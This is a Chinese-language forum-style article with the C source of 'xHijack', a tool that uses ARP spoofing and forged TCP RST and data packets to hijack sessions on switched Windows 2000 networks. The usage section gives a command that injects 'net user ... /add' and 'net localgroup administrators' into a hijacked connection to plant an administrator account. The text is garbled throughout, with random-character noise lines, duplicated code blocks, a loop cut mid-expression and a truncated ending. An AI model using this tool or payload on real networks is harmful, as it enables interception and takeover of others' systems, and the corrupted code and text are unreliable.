再谈交换环境下的会话劫持(For windows2000)

韩冰

第一步是开启IP Routing的功能，修改注册表
9 `4 k% C( V! b2 y; _9 M; V* WHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1，重启系统即可。
第二步是ARP欺骗，具体原理我就不说了。
第三步就是开始劫持啦。
9 M* L4 L0 q+ t6 s4 C$ z9 N
& G' l3 H% u! n4 g& ]( o我写了个程序xHijack可以实现第二、三步功能，使用如下:

9 f+ I0 d3 X# H( R: OUsage: xHijack ServerSide ClientSide

9 j# K1 Q4 q9 W! [5 {下面根据三种不同的情况分别说明如何输入参数：
<1>服务器、客户端、劫持者处于同一局域网，接在同一交换机上（或交换机级连？）。
假如服务器的IP是192.168.0.2，客户端的IP是192.168.0.3，提供如下参数给xHijack即可
4 B/ {! q3 ?, P& h. mc:\>xHijack 192.168.0.2 192.168.0.3
3 w, \1 p. w* a! l4 [劫持前数据流程：server <--> client
4 \/ q% V/ j: J5 ~6 v劫持后数据流程：server <--> hijacker <--> client
9 z7 O* _; ^2 T0 H6 n$ Z2 `7 P
! c5 S7 m* i0 r% ^. R4 j* Z  @<2>服务器、劫持者处于同一局域网，客户端处于别的网络。
假如服务器IP是202.202.202.2，服务器的网关是202.202.202.1，提供如下参数
" Q0 Z" {& P% p2 ?% m* P4 gxHijack 202.202.202.2 202.202.202.1
劫持前数据流程：server <--> gw <--> routes <--> client
! }0 {% ?; i0 Z+ k( l% b$ U劫持后数据流程：server <--> hijacker <--> gw <--> routes <--> client
- s3 V4 I3 L) ~$ v9 ?+ y
<3>客户端、劫持者处于同一局域网，服务器处于别的网络。
假如客户端的IP是192.168.0.2，网关是192.168.0.1，提供如下参数
. S' [- I2 H' O8 [# YxHijack 192.168.0.1 192.168.0.2
8 X  l4 d$ Y5 [- b* k/ z劫持前数据流程：client <--> gw <--> routes <--> server
劫持后数据流程：client <--> hijacker <--> gw <--> routes <--> server
# H0 ^) }( x1 V  m/ {$ s( |
0 M7 F; p8 D$ c  n! ?3 _" ?输入两个参数后，会提示你选择网卡，然后会提示
5 G; z" o, _5 dl        <-- List all connections
r x       <-- Reset the number x connection
w x       <-- Watch the number x connection
7 s" B: O- K. s* Uh x command   <-- Hijack the number x connection to execute command
+ y- M# n3 h; E6 }+ Q+ ^
' P  F  Z4 M9 U2 N! Clist、reset、watch命令我就不解释了。
假如现在有如下连接
: }$ U. W0 M& P(1) 202.202.202.202:23 <--> 192.168.0.3:2345
, K# \6 @3 r$ j我们想要劫持这个连接运行我们的命令，输入
" N9 E) X& b" Q$ [5 Y; |2 ~, l' LxHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
2 i" N8 ^. t- g& w为什么命令前面要加&呢？假如客户刚发送一个字符p过去，我们不加&的话，服务器端接受到的就是
pnet user.....了，加了&后就成为p&net user.....，这样就不管前面客户输入了什么，我们的命令
都能够运行了。以上都假设服务器是windows 2000，unix下加什么字符，我不知道，我是unix白痴，呵呵。
" i1 ^9 F, s4 X" t6 h8 l5 F; G6 F& t
劫持的流程如下：
<1>伪装成Server给Client发一个rst包
<2>伪装成Client给Server发了一个数据包
$ |) M  G/ z/ y# E, T% {<3>Server回一个ACK包给client
$ d/ f  W8 f) p3 D<4>因为Cleint的连接已经给我们reset掉了，所以client回一个rst包给server
; L6 }! o: ]7 m4 @; @
5 d+ n! L- r, Z, P& [. P6 y0 u. c/ J9 x这样的话，我们只能发一个伪造的包，但我想已经足够了。
想要一直劫持那个连接也可以，如下
# b0 M# R6 b& G<1>伪装成Server给Client发一个rst包
<2>欺骗Client，告诉它Server的MAC地址AAAAAAAAAAAA
<3>伪装成Client给Server发了一个数据包
<4>Server回一个ACK包给client
<5>Client回一个rst包给Server，但Server收不到，因为Client发到AAAAAAAAAAAA了，呵呵。
<6>然后Server发给Client的包都由我们来处理，包括给Server回ACK包等等。

4 n8 C/ V: u: \! X不过这样比较危险，在我们劫持的过程中，Client与Server的通讯始终是断开的。
, o- m" n) E4 Y( ]9 i
: D& G( w- V' e2 E
& G0 c+ U4 |# h0 ?) |: r7 H刚开始看TCP/IP协议，调程序调得头昏脑涨，说明也写的乱七八糟，呵呵，程序代码也可能存在很多问题，
还请各位多多指点。
5 ~( Q1 Y& F; Y2 v
7 P, A& J# ?; t  J; ?BTW:我没有空间，编译好的程序没地方放：（
$ i0 z" {  `' }
: r( R( a' p2 v( k: O+ B

参考资料
; G8 j- {/ x* w* n<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
1 a+ s5 C5 I  h0 U- v% ]* H
0 f. I5 p/ u, W7 j+ f
/ w6 z4 z! B; }4 ]0 I以下是程序代码
----------------------------------------------------------------------
/*-----------------------------------------------------------------------------
File      : xHijack.c
& A& }4 r+ J0 pVersion      : 1.0
Create at    : 2002/8/12
Last modifed at  : 2002/8/19
- p; |' q" Z5 nAuthor      : eyas
Email      : ey4s@21cn.com
HomePage    : www.ey4s.org
感谢refdom和shotgun发布的源代码，使我获益非浅。
0 i, z' \) O  J+ {3 jIf you modify the code, or add more functions, please email me a copy.
# @5 v* t( N: K9 {" P. V
4 ]5 z+ y; N& t2 e$ y7 i! V% U备注:
3 H: O( ?3 c3 g" j<>没有考虑IP头、TCP头超过20字节的情况
<>没有考虑数据包分片的情况
' E& W% J0 V4 l3 t0 _& R3 P<>没有对截取到的TCP数据进行解码，如TELNET，虽然是明文传输，但是TCP数据里面包含了
  V; u" ]5 M$ q: t# J显示格式、位置等信息，直接打印出来，显得很凌乱。但如果是IRC、SMTP、POP3等就没问
题了。
* X& O) l( v$ X: z: @
也许下一版本会修正这些问题，也许不会有下一版本了。

-----------------------------------------------------------------------------*/
#include
#include
' U0 C7 O: n. k; u; n$ M' [% G#include
8 Z7 C" f$ s( ]: ~% I7 x/ k#include
1 N" `: k) X- _+ m$ S0 ~1 C) B; y8 [#include
#include
- M% f4 f2 O' ]#include

#pragma comment (lib, "packet")
#pragma comment (lib, "iphlpapi")
#pragma comment (lib, "ws2_32")

4 [* H: K% E5 s: O. Z#define Max_Num_Adapter 10
#define Max_Num_IPAddr  5
6 [# g3 z  _- E: |; H7 ?#define EPT_IP      0x0800      /* type: IP  */
1 ~2 B+ u! }/ L( h4 H, Y* F#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
#define EPT_ARP      0x0806      /* type: ARP */

#define  ACTION_NONE    0
7 Q  J9 S6 s# Y) }# _#define  ACTION_WATCH  1
#define  ACTION_RESET  2
#define ACTION_HIJACK  3
" [9 q! G' W& ~/ N: L7 y: L5 e
/*以1字节对齐*/
" m: @) T! H' J* c6 b0 F' P#pragma pack(1)
- {6 H" N1 P& K* p4 j; p; v# D1 ctypedef struct _ehhdr
{
  unsigned char  DestMAC[6];
  unsigned char  SourceMAC[6];
  unsigned short  EthernetType;
6 s# `* L: K. {" p6 ?. `) D}EHHDR, *PEHHDR;

typedef struct _iphdr        //定义IP首部
{
& F. V% R- x% z6 I5 j  unsigned char h_verlen;      //4位首部长度,4位IP版本号
  unsigned char tos;        //8位服务类型TOS
  unsigned short total_len;    //16位总长度（字节）
4 `3 U4 s7 b: ~: U% @  unsigned short ident;      //16位标识
7 i$ d. P8 a  m7 ^  unsigned short frag_and_flags;  //3位标志位
  g% \5 F& ]) m& u5 V% M  unsigned char ttl;        //8位生存时间 TTL
  unsigned char proto;      //8位协议 (TCP, UDP 或其他)
  unsigned short checksum;    //16位IP首部校验和
4 O9 H- V1 P3 v' j3 x) ^' V  unsigned int sourceIP;      //32位源IP地址
. e1 R, k- y2 @4 w( D  unsigned int destIP;      //32位目的IP地址
$ E, Y7 g' o0 Q, V! ?}IPHDR, *PIPHDR;

typedef struct _tcphdr        //定义TCP首部
8 A* H! R' W& \. E, A6 D' @# l+ i{
3 i" V" ^4 b0 w9 w7 b  USHORT th_sport;        //16位源端口
  USHORT th_dport;        //16位目的端口
  unsigned int th_seq;      //32位序列号
# _3 n0 X6 I) H' f" @! F$ a! H  unsigned int th_ack;      //32位确认号
  unsigned char th_lenres;    //4位首部长度/6位保留字
5 ~+ b: @9 u" u* h' w+ w  unsigned char th_flag;      //6位标志位
  USHORT th_win;          //16位窗口大小
# S( Y- \( s" \: ^. J5 B' t0 z  USHORT th_sum;          //16位校验和
  USHORT th_urp;          //16位紧急数据偏移量
}TCPHDR, *PTCPHDR;

% F% ^- `( V; |4 mtypedef struct _psdhdr        //定义TCP pseudo header
{               
/ c) o4 _, V0 C3 L, ]! T  unsigned long saddr;
  unsigned long daddr;
  char mbz;
  char ptcl;
) Z3 ?! G  n/ J  unsigned short tcpl;
}PSDHDR, *PPSDHDR;
$ |' Z; J( o2 G9 K% x+ u
typedef struct _arphdr
! v; L9 [) h  {+ o' P7 \7 W  O& ]{
  unsigned short  HrdType;//硬件类型
  unsigned short  ProType;//协议类型
  B2 r, L" `. ^  b9 w2 d  C  J  unsigned char  HrdAddrlen;//硬件地址长度
  unsigned char  ProAddrLen;//协议地址长度
  unsigned short  op;//operation
  unsigned char  SourceMAC[6];/* sender hardware address */
' R" I! w8 D5 H7 S  unsigned long  SourceIP;/* sender protocol address */
  unsigned char  DestMAC[6];/* target hardware address */
9 B5 o7 k( l# j$ D; [, q7 x3 k: W  unsigned long  DestIP;/* target protocol address */
  ^# |/ ?: L0 u" Z}ARPHDR, *PARPHDR;
7 e+ ?5 W+ r9 B8 q* `2 T
8 M& q4 a. e8 P: L+ i3 T: W  T$ b2 vtypedef struct _ArpPacket
{
  EHHDR  ehhdr;
  ARPHDR  arphdr;
}ARPPACKET, *PARPPACKET;

" D7 r! w& }1 p7 Qtypedef struct _tcppacket
{
/ e3 I% K. m0 t" d( K1 y  EHHDR  ehhdr;
- x( g9 ^6 |% {- l1 u  IPHDR  iphdr;
  TCPHDR  tcphdr;
/ Z" G, \' l8 ]8 @+ L5 K/ _* b}TCPPACKET, *PTCPPACKET;
6 o3 P+ P; S  x' W& n
typedef struct _conninfo
{
  DWORD  dwServerIP;
" K+ C/ H* T: U. Q; G$ ~% s  USHORT  uServerPort;
  DWORD  dwClientIP;
  USHORT  uClientPort;
  DWORD  ident;//标识
  BOOL  bActive;
  struct  _conninfo  *Next;
0 W6 M% F$ \# L& ^}CONNINFO, *PCONNINFO;

//定义全局变量

韩冰

unsigned int  g_ServerSideIP,
9 P9 Y4 P' Q( P& R        g_ClientSideIP,
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
        g_TotalIP = 0;//
unsigned char  g_szOwnMAC[6];//本机MAC地址
8 j& K, A5 b- T  P2 U3 x+ Junsigned char  g_szClientSideMAC[6];
$ I5 G/ O, A0 cunsigned char  g_szServerSideMAC[6];
# I2 X- M3 M* t4 Xchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
LPADAPTER    g_lpAdapter;
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
HANDLE      g_hThread[4];
char      g_szCommand[128];//command to execute after hijack
DWORD      g_dwAction;//action type
+ P2 }9 A/ i" n$ B' e2 wDWORD      g_dwCtrlConn;//action 所控制连接的标识
DWORD      g_ident;//节点标识，递增
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
        g_pConnHead = NULL,
        g_pConnLast = NULL;
3 P, w' E) P1 J& a, Z0 Cchar      g_szSendPacketBuf[1514];
LPPACKET    g_lpSendPacket;
//函数
+ k3 D' Y( j! Z; U, X7 evoid      usage(void);
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
void      ListAllConnection();//列出当前所有的连接
, r, I4 V! l- \5 B; Xvoid      ResetActionAllFlag();
; L8 m6 l) g: i5 t$ w( g1 }USHORT      checksum(USHORT *, int);
( f/ \: D+ E, j1 nBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
4 F1 o9 l# E) }& r. Z0 B% X1 s9 gBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
9 s: n# Y% b$ kBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
4 P! c: W& p$ o5 a& Z+ U! FDWORD      GetConnNum(char *, DWORD, DWORD *);
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
; X  x& Z* t, R) }; G! TDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
BOOL  WINAPI  CtrlEvent(DWORD);
1 X3 `5 b# l, J# V- m
! Y) F3 [; q! S' Z7 W
# c1 e6 u) P( R1 A! y) q
int main(int argc, char **argv)
( I; z! V* f& ~& x: l( v{
  struct    bpf_stat stat;
  int      i;

0 ?7 R9 {( `2 [2 H  usage();
3 W0 k" \, @$ f6 I  if (argc != 3) return 0;
; I  m3 W! @: Y: e. ?! ^  //取得参数
  g_ServerSideIP = inet_addr(argv[1]);
2 i5 O. }' M1 |  {/ |* Y$ ?  g_ClientSideIP = inet_addr(argv[2]);
  //初始化adapter & 一些全局变量
  g_lpAdapter = InitAdapter();
  if(!g_lpAdapter) return 0;
0 U  y* k$ o* P3 q% O- d5 G, ?! U  @8 M  //get ServerSide MAC & ClientSide MAC
( \* r2 f% p, d- @( m7 C* ]& \  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
. U% D5 V: a& {5 I& W- ]  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
- d* m& v: g$ F  i  //create arp spoof thread     
  i = 1;
! B, h/ e, o% s+ C+ T: |; Q  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
6 l) z3 i2 Y0 K/ M+ }* S  g$ ^  Sleep(500);
  i = 2;
1 G: l- a# W( i3 E+ a0 l  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
/ B6 u! y5 c' c9 N  //create analyse packet thread
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
( _* @* q5 N: W5 o/ S7 P) e% y, |  //create interface thread
4 s0 s' z& k  n, M1 O  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
6 _5 h: q& v) a5 k; E0 s  //set console ctrl handle
2 B7 G- v- a# c9 j4 a7 P( `0 w  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
, t% ?1 C( i6 a: h, I    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
    return 0;
& h4 A  U% \; R  }
/ y  y) l; c1 I; T  //wait for any thread exit
; n* J- J* `2 r& s9 H6 K0 P' F  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
6 t+ t! A& E# e  C  //print the capture statistics
2 Q6 d6 y& ~& j# D. Z  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
    printf("Warning: unable to get stats from the kernel!\n");
  else
) F* J/ @# d% q( y7 a$ F    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
: z8 }" i3 {1 q4 T0 f4 \8 e6 e& m  //free resource   
  PacketFreePacket(g_lpSendPacket);
& A; S9 l& ]. \$ `3 e6 M5 Y  PacketCloseAdapter(g_lpAdapter);
  return 0;
& R3 H" V! u' M# i}

//
//功能：重置所有于ACTION有关的标志
! `5 v* F! y+ t  c//

韩冰

unsigned int  g_ServerSideIP,
$ p( @  @7 p6 r- K        g_ClientSideIP,
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
# E! I7 G7 `$ V+ e: \: ~        g_TotalIP = 0;//
unsigned char  g_szOwnMAC[6];//本机MAC地址
6 u7 f6 s; @& qunsigned char  g_szClientSideMAC[6];
$ b; _- n$ C% E9 p& C& R( s- Cunsigned char  g_szServerSideMAC[6];
0 Z6 U+ ?( j& v. r" V' n. uchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
$ Q* ~* T! u! f# ^5 eLPADAPTER    g_lpAdapter;
' T  ^- h9 p  j1 W: X( {4 Q% ~' E//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
3 ?# I4 p' E* e( ~* o+ QHANDLE      g_hThread[4];
! g6 t" H* s8 G6 Kchar      g_szCommand[128];//command to execute after hijack
DWORD      g_dwAction;//action type
" V& t6 W# q+ N: ?; @# V6 UDWORD      g_dwCtrlConn;//action 所控制连接的标识
5 L! }; Q$ C6 U9 a6 RDWORD      g_ident;//节点标识，递增
2 |$ }. P9 q# i  w# Z' IPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
; O  s+ V  q, P        g_pConnHead = NULL,
        g_pConnLast = NULL;
char      g_szSendPacketBuf[1514];
$ R: f0 I" r  z" b6 J1 i" z; ~LPPACKET    g_lpSendPacket;
" I: o; {0 \2 W4 w) h6 B8 |//函数
void      usage(void);
0 \- `% u3 O- B1 H1 v8 Zvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
2 Q% u+ A1 C6 B) G. u; Mvoid      ListAllConnection();//列出当前所有的连接
void      ResetActionAllFlag();
USHORT      checksum(USHORT *, int);
3 h9 `, _$ [7 S! B2 ~BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
3 V: ~) c& N8 `; Q- i' T9 f0 U3 MBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
* h  E0 A; z1 M$ q; L$ m' `LPADAPTER    InitAdapter();//初始化一些参数和全局变量
; |% ~( t: t% L  ^# y5 d& s  pBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
  a. P# ?' m# j3 ]( q7 ^BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
8 |6 \* ~  A6 b% u" vDWORD      GetConnNum(char *, DWORD, DWORD *);
* P2 ?' I2 }6 m) t+ }# {$ p. CDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
. Z" m1 x, u" H" Z6 R( RDWORD  WINAPI  InterfaceThread(LPVOID);//
BOOL  WINAPI  CtrlEvent(DWORD);
3 j/ R% E# e% I' r" i

/ l: X& t1 r4 f# r' O+ j
: R3 i: m6 `% u( J& Uint main(int argc, char **argv)
{
  struct    bpf_stat stat;
  int      i;
  C& p' x6 H9 T$ }. v
  usage();
  if (argc != 3) return 0;
6 N! Z9 d. o2 }) r% ]  //取得参数
5 E8 ]2 b" i4 P' N- z* @, `' x3 {+ x  g_ServerSideIP = inet_addr(argv[1]);
  g_ClientSideIP = inet_addr(argv[2]);
  //初始化adapter & 一些全局变量
  g_lpAdapter = InitAdapter();
  if(!g_lpAdapter) return 0;
  L8 h2 O0 h% v/ e' e" z: I  //get ServerSide MAC & ClientSide MAC
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
$ L6 V& F2 l/ z& a" Q) w  n" d  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
; t8 m& B+ N) C5 G2 \/ I" l  //create arp spoof thread     
  i = 1;
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  Sleep(500);
4 |$ x7 k/ F0 b2 }  i = 2;
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  [5 [, b) _# p; u2 Q/ w  //create analyse packet thread
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
, \2 i2 p6 c) \7 ]. `3 t0 h  //create interface thread
5 P1 J4 _8 o6 ^& \# s" }4 H  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
  //set console ctrl handle
+ _, r: b& y8 I  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
: e$ J0 w$ X7 }! r8 u& S    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
9 j. Y0 X- d2 w0 a% z0 c0 h    return 0;
  }
  //wait for any thread exit
# W1 C# I5 T; u) K' n- t  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
  //print the capture statistics
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
- J( y: N) B. Z8 v    printf("Warning: unable to get stats from the kernel!\n");
  else
5 T( U) X3 y- S) v5 I    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
4 E7 g  ?! u- ~. U6 ?% a, r  //free resource   
  PacketFreePacket(g_lpSendPacket);
  PacketCloseAdapter(g_lpAdapter);
  return 0;
7 k  f# u" Y1 E( p" a}
$ ]. N3 B& v) D# i+ K
//
//功能：重置所有于ACTION有关的标志
" w4 ~$ m9 ?9 T' ?6 D# `, R6 a5 I//

韩冰

void ResetActionAllFlag()
4 Q9 P, H# C% t{
  g_dwCtrlConn = 0;
  g_pCurrCtrlConn = NULL;
9 c+ B' G$ l' x) [6 O$ {) ^2 i2 j8 p  g_dwAction = ACTION_NONE;
}

, A% M$ z- Y% y9 j7 l, T//
1 z. o- k+ W$ |$ B( {//功能：处理Ctrl+C和Ctrl+Break事件
//
. \/ p" [+ m5 Q, J' N0 uBOOL WINAPI CtrlEvent(DWORD dwCtrlType)
{
# H! s! x% \& q9 h% ~/ l  switch(dwCtrlType)
9 ~; A8 W% x) f! V( @, {$ ?  {
    case CTRL_BREAK_EVENT:
      //reset action all flag
      ResetActionAllFlag();
      break;
  ]6 r1 w1 I2 J+ q5 o* C, A6 ?    case CTRL_C_EVENT:
      //terminate all thread
      TerminateThread(g_hThread[0], 0);
      TerminateThread(g_hThread[1], 0);
      TerminateThread(g_hThread[2], 0);
; j+ G. u  \* h8 Q, N+ q      TerminateThread(g_hThread[3], 0);
! C9 d8 H* L0 C* S% z      break;
    default:
      break;
  }
3 L" B" B' R3 s, h  return TRUE;
}
. q9 h( `; R. i+ g+ j" y
//
//功能：处理用户输入
& n( i, L& `' j9 @& V/ I) A//
# @0 `/ B* _* w% @- X$ XDWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
{
) f. Z) r; ~6 e! l6 e% c' ?  DWORD  i;
  char  szBuff[16];

* k. u) @. d: l6 P  *lpCommandPos = 0;
  for(i=0; i<15, i代码比较乱
//
  M. A1 K; J, NDWORD WINAPI InterfaceThread(LPVOID lp)
{
  char  szHelp[] =  "l\t\t<-- List all connections\n"
0 W: ~0 X0 X; X            "r x\t\t<-- Reset the number x connection\n"
. B4 j; _5 j7 m            "w x\t\t<-- Watch the number x connection\n"
1 ]1 q" Y- S. P* U* |, U8 e" }            "h x command\t<-- Hijack the number x connection to execute command\n"
0 Y4 g- \3 F, s) h8 C8 ?& Y3 x            "[Note]\n"
5 a; C3 m1 f' `) C/ g$ k            "Ctrl+Break to clear all action\n"
            "Ctrl+C to exit\n";
% q6 i: F4 ]; G* Z  char  szPrompt[] = "\nxHijack>";
- J: H( ~* x/ E  char  szBuffer[128];
# T8 @% H( i5 ~  u; L. |  DWORD  dwPos;
) r( q; p7 Q# b2 M  PCONNINFO  pTmp;
. c3 Q# J* U3 S+ p: r
( ?: t( ]2 k0 _0 ~+ ]  ]/ h, V  while(1)
  {
# }1 h* ^5 L2 B2 O' `    gets(szBuffer);//不考虑buffer overflow
    switch(szBuffer[0])
    {
1 K; s& i5 J1 o6 Q+ I& N      case 'l':
      case 'L':
" ?' L* a1 l' R3 r( ^0 G, B2 _8 ]        ListAllConnection();
# E5 H4 u5 |4 J+ u        break;
      case 'r':
      case 'R':
1 B( p, {, j# j* j- H        if(strlen(szBuffer) >2)
        {
- u! _, G4 V4 y* X          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
( a" z( P0 t$ s+ ?          g_dwAction = ACTION_RESET;
2 o9 U; }. \& l3 h) l        }
        else printf("%s", szHelp);
        break;
9 x! A2 Y# l6 L: P* P$ `5 R) M3 @      case 'w':
      case 'W':
        if(strlen(szBuffer) > 2)
" a' m" l* \# Q0 ?        {
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
          g_dwAction = ACTION_WATCH;
        }
        else printf("%s", szHelp);
        break;
      case 'h':
      case 'H'://h 1 xxx
* R, a$ A* O6 H/ Q4 l+ ?        if(strlen(szBuffer) > 5)
1 T8 ^6 R/ y4 ]  @! H        {
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
          //如果command第一个字符是'或"
. D2 o. F% H- }6 p3 ~3 k          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
8 U1 e7 d( {9 }& `          {
+ R" W9 o0 i) y- E3 Z            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
* C3 \. d" e- R* ^# z4 ?3 u            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
' X8 m$ F: {% ~6 K          }
          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
( k) m5 J! t4 w: U6 L          strcat(g_szCommand, "\x0D\x0A");
6 {+ C( L4 B" u" ?7 k          g_dwAction = ACTION_HIJACK;
        }
        else printf("%s", szHelp);
        break;
2 t/ l& ~  Y9 u! Y' k. [8 c      default:
5 \! B1 h+ K5 N+ o        printf("%s", szHelp);
        break;
! Y! p2 y3 t) {( O    }//end of switch
' f: g- r) {! l; @, G( ~7 N    //find the specify ident's struct point
    if( (g_dwCtrlConn) && (g_dwAction) )
! |* L1 d, U6 q5 S! s7 d* d    {
      g_pCurrCtrlConn = NULL;
% e4 N7 D$ G6 z) U8 s      pTmp = g_pConnHead;
      while(pTmp)
% C/ q- I# V) [+ Z      {
        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
        {
          g_pCurrCtrlConn = pTmp;
4 w* n8 H2 U* x          break;
        }
1 O( e) U: |7 h. K% g6 U        pTmp = pTmp->Next;
* W1 W% O9 e3 ?2 l8 u9 Y      }
* X- [' h/ G! M& q. w. ?; }7 X& E      if(!g_pCurrCtrlConn)
; h/ S  f% R9 G7 l      {
$ W- p) ~/ p3 t, E        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
        //reset action all flag
        ResetActionAllFlag();      
8 u. N1 {& W- C/ w* h% l5 P7 Y      }
    }
    if(!g_dwCtrlConn) ResetActionAllFlag();
6 v: U: h4 |0 H    //显示当前用户所期望的动作
. D2 G3 W2 k- I    printf("\nCurrentAction:");
    switch(g_dwAction)
    {
      case ACTION_WATCH:
        printf("ACTION_WATCH");
        break;
; T& G, b- i! P" |, A      case ACTION_RESET:
9 y! q$ @) f7 ?$ p0 h7 E/ ^8 {+ J        printf("ACTION_RESET");
: E( X; A5 e0 P$ s' R        break;
  h1 j9 X: A8 g7 @0 [9 A" E      case ACTION_HIJACK:
: O! e# T1 v7 k        printf("ACTION_HIJACK");
        break;
' _$ t& P; ?# g# U      default:
8 X1 K9 J$ H; |4 b# U0 p        printf("ACTION_NONE");
        break;
    }
    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
' @2 ]$ v( T  m" K7 P  }//enf of while
  return 0;
}

韩冰

// //功能：列出当前所有连接 // / a" D8 M' K( m r5 {$ Z8 c& A# bvoid ListAllConnection() : p' w, c% ?1 [% N{ PCONNINFO pTmp; SOCKADDR_IN saDest, saSource; ; N$ ^2 J7 g) @ pTmp = g_pConnHead; $ P9 H9 \; M, Z) p( Y while(pTmp) $ g/ B& d, R" [7 s { ! t5 x+ `' t ]( e if(pTmp->bActive) { saSource.sin_addr.s_addr = pTmp->dwServerIP; saDest.sin_addr.s_addr = pTmp->dwClientIP; printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), ' u2 s5 w# ~$ ~3 b ntohs(pTmp->uServerPort)); printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); # J* B" E' M9 _" r+ Y2 o } 9 r+ J+ A& w) k- p pTmp = pTmp->Next; } ) i1 Z9 Y2 I- n} // //功能：初始化一些数据，取得指定网卡的MAC地址和所有IP地址 # I" B. N: Z9 z" Z2 L// 6 {! T# `- h. s* a- ~LPADAPTER InitAdapter() ' H s" g: n" h" q; f{ LPADAPTER lpAdapter; ! s ~- ?; `% z' O9 e) A. K# v! G# t static char AdapterList[Max_Num_Adapter][1024]; char szSelectAdapterName[512]; / z6 ?8 x9 J1 [% X, S: B3 Y3 g WCHAR AdapterName[2048]; 4 j5 [' q+ R- T2 g4 y9 o/ P' y WCHAR *temp,*temp1; : ?/ `! g9 K! d7 l, [$ x8 R ULONG AdapterLength = 1024; int iAdapterNum = 0; , W- j2 D& x0 m$ _1 } int iRetCode, i; $ h! ~' M ~5 G' X5 c int iAdapter = 0; ) c* w# r G1 a ULONG ulLen = 0; " X1 S/ o( x; N. G DWORD dwRet; : Q0 j9 E+ \' m7 m PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; , M+ K! g p$ H0 H PIP_ADDR_STRING pIPAddr; //Get The list of Adapter if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) 5 @+ R, n, ~. o/ B7 O* p( U- v { printf("Unable to retrieve the list of the adapters!\n"); return 0; } 8 e; u5 v) _0 ~$ Z temp = temp1 = AdapterName; i = 0; 6 u4 Y) e& Q! I! v" q b: \ while ((*temp != '\0')||(*(temp-1) != 